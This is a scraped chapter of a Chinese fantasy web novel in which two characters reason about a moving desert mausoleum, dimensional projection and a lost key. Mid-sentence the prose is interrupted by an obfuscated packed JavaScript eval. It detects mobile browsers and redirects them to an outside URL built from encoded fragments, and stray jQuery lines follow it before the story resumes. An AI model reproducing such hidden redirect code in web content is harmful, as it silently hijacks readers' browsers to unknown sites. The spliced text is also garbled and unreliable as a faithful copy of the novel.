伊栀惊讶于她从严汲这里听到的消息,震惊的一时间忘记了呼吸,就连脸上的表情也停留在了那一时刻。
过了一会儿,伊栀艰难的张嘴,她花了半天时间才找回自己的声音:“可是,这怎么可能呢?按照你这话的意思,沙海陵是一座在水中玩激流勇进的皮艇?
正因为承载着它的水是流动的所以整座陵墓也跟着水一起流动。
可是要带动一座巨大的陵墓千百年一直处于流动的状态,厄达穆斯地底深处的地下河其流量必然已经到了我们难以想象的地步。
但是就这样的河流经过千百年的奔流也足以将整个厄达穆斯冲垮,除非……这条托举着沙海陵的河流和厄达穆斯……
不,和这个世界根本就不处在一个维度,但是它的本体却可以经由投影的方式映射在厄达穆斯,成为让沙海陵永续移动的动力源。”
严汲没有说话,只是静静的看着伊栀,他那认真注视着伊栀的目光让她觉得有些不好意思,伊栀移开视线,手握拳放在嘴边装作有事的咳嗽了一声:“干……干嘛这么突然看着我,我讲错了吗?
我这……只是非常主观的说出自己的看法,所以如果有什么错误你也不能笑话我,毕竟我对这种事情一窍不通,就是根据之前见到的例子随便猜的。”
严汲微微摇头:“我并没有嘲笑你的意思,你说的很对,且你是我见过的少数能跟上我思路的人。
你很厉害,伊栀,普通人可没办法想到这一层,我只是好奇你到底是怎么实现思维上跨度的极大转变,想到这种抽象的结论的。”
伊栀微微愣住,然后抿了抿唇,神色如常:“倒是也不必如此称赞我,至于你提到的问题……
其实我的想法很简单再加上邢桉那天马行空想当然的思考方式也一定程度上影响了我,因为你之前说过虽然「风藤庄园」和沙海陵能移动是有相似之处的。
但是驱动二者移动的方式却并不相同,前者是通过类似于阵法一般的存在传送移动的。
而这个阵法本身就刻录在阿特拉斯生命树本体之上,「风藤庄园」也是阿特拉斯本体的一部分。
我觉得当年还未失去全部记忆的严汲为了及时迅速的得知「桫椤域境」全境的情报时,就已经决定改造「风藤庄园」。
阿特拉斯生命树本身就是你创造的,可以说这个世界上最了解她的存在除了她自己,就只有你了,以你的能力和身份,完成什么在旁人眼中被称为神迹的存在应当也是非常轻松的。
而且最重要的一点是……「风藤庄园」是可以做到定点传送的,但是沙海陵的移动位置和移动速度却是不固定的,这是其中一个差别。
还有一个疑问就是我刚才提到的,我虽然不知道沙海陵到底有多么庞大,但是根据我对南雍国历史上那一代代皇帝的陵寝的了解,他们的陵寝面积必定小不了。
而沙海陵还是熙武王朝开国皇帝的陵寝,这是一层非常有力的buff,卡萨丹汀开创了彼时的「旱海域境」的全新一面,我在那本历史书上读到过有关他的生平。
卡萨丹汀虽然被称为一代贤君,但是长时间站在权力巅峰心境一定会发生变化,果不其然在他晚年的时候,自称“无上圣武帝”。
我想在他看来,自己的功绩一定是史无前例的,对权力掌控的极度膨胀以及人固有的自负心理,一定会在他建造陵寝的时候多有影响,再加上他对后代的影响,他的陵寝只会比熙武王朝其他几代皇帝大而非小。
就拿第二代皇帝的陵寝来讲,他的陵寝面积是40平方千米,卡萨丹汀的陵寝面积只会比他的还要大,带动超过40平方千米的陵寝移动需要的流水必然得要到海啸程度。
但是这样程度的流速绝对会把整个厄达穆斯淹掉,哪里还会有我们如今站着的土地。
那么就只有一个最不可能……带动沙海陵漂流的庞大存在不是完整的出现在我们脚下,也就是投影。
如果是从前,我是绝对不会相信仅靠投影就能做到这种程度的。
但是……你和邢桉在得都卡米普莱贡见到的那个庞然大物以及《代号:破碎半书》存在的最大原因。”
严汲神情微动,他微微皱眉:“怎么突然想到了《代号:破碎半书》?”
伊栀点点头,继续说出自己的猜测:“我们提到的《代号:破碎半书》一开始架构的原理就是将意识投放到一个游戏世界。
但是真相却是《代号:破碎半书》所处的世界也就是现在我们所熟知的主神世界,其实是现实世界经由「主神—七号空间」的投影。
有些在主神世界发生的事情是能在现实世界找到对应的事物,既然现实世界是主神世界的被映射物,就像一个物体站在身为「主神—七号空间」的镜子面前。
这和平面镜成像的道理是极其相似的,而它成像的核心原理就是光的反射定律,平面镜反射的光线反向延长后会在镜后形成虚像,虚像与物体大小相等、距离对称。
但是「主神—七号空间」这面镜子和一般我们用到的镜子不太一样,感觉它更多的像是哈哈镜。
是曲面镜引起的不规则光线反射与聚焦并由此做成散乱的影像,所以现实世界和主神世界并不是完全对等。
这就体现在了主神世界的地理风貌和人文环境中,现实世界的各大国家都有一套严密完整的对人权保护的法律体系。
就拿我们的祖国南雍国为例子,统领所有法律的宪法拥有最至高无上的权力,任何人都不得凌驾于宪法之上,而在宪法之下的各种法律。
这里面既有对超能力者E.F管控的法律,也有对混血魔种保护的特殊法律,更有保护所有人各种利益的法律,他们无一例外保障着国家和个人的法律利益,正是这样的保护才能让南雍国平稳的运行着。
但是主神世界不一样,这里也确实有规则,但这种规则不像我们现实世界,他们的规则是野蛮而又原始的。
就拿之前在「添海竞技场」上看到的情况来看,人权只是少数人的人权,有些人失去了拥有人权的资格,这是两个世界在人文环境上的差别。
至于地理风貌有相似之处也有不同之处,我再举个有相似之处的例子,「临海域境」的域都添海市在气候和地理上,与我们生活的城市嘉湖市以及附近城市晟海市比较相似。
且在城市布局上也是出乎意料的相似,至于不同之处,至少我是没见过现实世界承载一个国家的土地会搭建在一棵庞大的树上。
怎么说呢,主神世界就像是……唔……一个拥有奇思妙想的人在天马行空的想象后虚构出来的世界,看着超脱常理,荒诞不经。
但其实抛却原有的三观,其实也是非常合理的存在,就像一场梦一样,让我想起了《权·衡世家》。”
这样说着,伊栀闭上了眼睛,听到自己这样对严汲说。
严汲握紧了手上撑起来的伞,他轻声道:“或许你的猜测是对的。”
伊栀抬起头看向不知道在看向何方的严汲:“什么意思?”
严汲却在此刻摇摇头:“没什么,或许是我多想了,除了最后一个我不太确定以外,到目前为止你的推理都没有出现错误。”
伊栀随意的靠在墙壁上,抱臂继续说:“至于你说的那条河……我猜测它应当不是现实世界经由「主神—七号空间」投射过来的产物。
因为不可能只有一束光线被「主神—七号空间」反射,定然还有其他物体的光线被反射了,而那条河说不定就是这样被投射到了主神世界。
只是我现在还不能确定那条河到底是什么,它原本又是怎么样的存在,严汲,话说你知道吗?”
伊栀原本没指望严汲知道这些,毕竟他现在的记忆并不全,只是象征性的问了一下,,但是出乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022515|135296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伊栀意料的是,严汲对这件事的印象还有。
只见他点点头:“其实就是裹挟着「主神空间」的能量风暴,也就是我们所熟知的次元通道,塔塔尔鸣伊当时被流放……
超能兔神自由穿越各大次元的必经通道,你可以把它们想象成为天空之上汪洋的银河,而主神空间、现实世界以及主神世界就是银河之中的那些恒星卫星等等。”
伊栀沉默了一会儿,像是在思考什么,对严汲说:“我们将地球之外所处的空间称之为银河,我是不是可以理解为因为有这个概念,所以这个投射才成为了河?”
严汲点点头:“嗯,是一种抽象性的概念,但是这种投射的存在是可以被改变甚至为我们所用的。”
伊栀追问道:“怎么改变,怎么为我们所用?”
严汲却在此刻又卖了个关子,他不急不缓的说:“你既然已经联想到了《代号:破碎半书》,怎么想不到为我们所用?”
伊栀低下头,看着自己的鞋尖,回想起她看到的《代号:破碎半书》官网的介绍,喃喃自语:“好像是一台传感器链接脑部神经网络将意识直接投放到世界中。
但是我们现在知道了主神世界和现实世界其实是两个真实存在的世界。
那么……能稳定接入作为两个世界媒介的「主神—七号空间」,这得是多么智能的超级电脑才能担当此等大任啊,不对……”
伊栀像是想到了什么,看向严汲:“老实交代,严汲,你是不是也在那游戏项目组里插了一手。”
严汲轻描淡写的说:“应该是吧,毕竟这个游戏也在「NE计划」之中,或多或少也要插手,《代号:破碎半书》所用到的技术来源于我,不然他们没办法稳定链接两个世界的通道。”
伊栀又重新转过头:“我突然想起来在那个故事中卡萨丹汀得到了主神的宝物并把这个宝物带入了自己的坟墓。
而这个陵寝还有这样到处移动的特性,我是不是可以认为就是因为那个宝物的特性。
所以才让沙海陵拥有了控制投影的能力继而能随意移动?毕竟……这件宝物也确实有可能作为陪葬品进入了沙海陵之中。
那么……你先前提到的一句话中让我找到了一个重点,沙海陵一次的移动之地就在阔耳狐混血魔种一族最后的栖息之地之下。
结合阔耳狐混血魔种一族和卡萨皇族的亲密度来看……这中间必定有什么联系,说不定这所谓没有规则的移动其实还是能看出规律的。
只不过这个秘密一直隐藏在阔耳狐混血魔种之中,那么灭族的原因也呼之欲出了。”
伊栀顿了顿,继续道:“那个宝物需要与之相配的钥匙,而这把钥匙则一直保存在阔耳狐混血魔种手中,灭族是因为有人想要进入沙海陵。
可他们苦于没有钥匙,无法确定沙海陵的正确位置,所以到了最后阔耳狐混血魔种才遭受此等灭顶之灾,我说的对不对?”
伊栀说完,炯炯有神的看着严汲,想要从他那里得到一个肯定的答案。
严汲平静的回望着伊栀,随后沉声道:“但我认为他们未必找到了那把钥匙。”
伊栀不解的说:“什么意思?”
严汲:“因为如果找到了那把钥匙,卡萨西西里和「尼普顿」也就不会选择大费周章的将忌送到姬将晚身边保护起来。
因为可能在那群凶手眼中那把钥匙或许会在那唯一一个侥幸活下来的遗孤手中,又或者在别人手中,但无论如何忌也一定会被他们盯上,始终处在危险之中。”
伊栀眯了眯眼,低声道:“那个时候忌还小,而且看他的样子我觉得他对这种事应该是一无所知的,所以……你觉得那把钥匙其实是在卡萨西西里或者「尼普顿」手中?”
严汲点点头:“很有可能,只不过这些事得我们见到了卡萨西西里之后才能知道了。”
“……”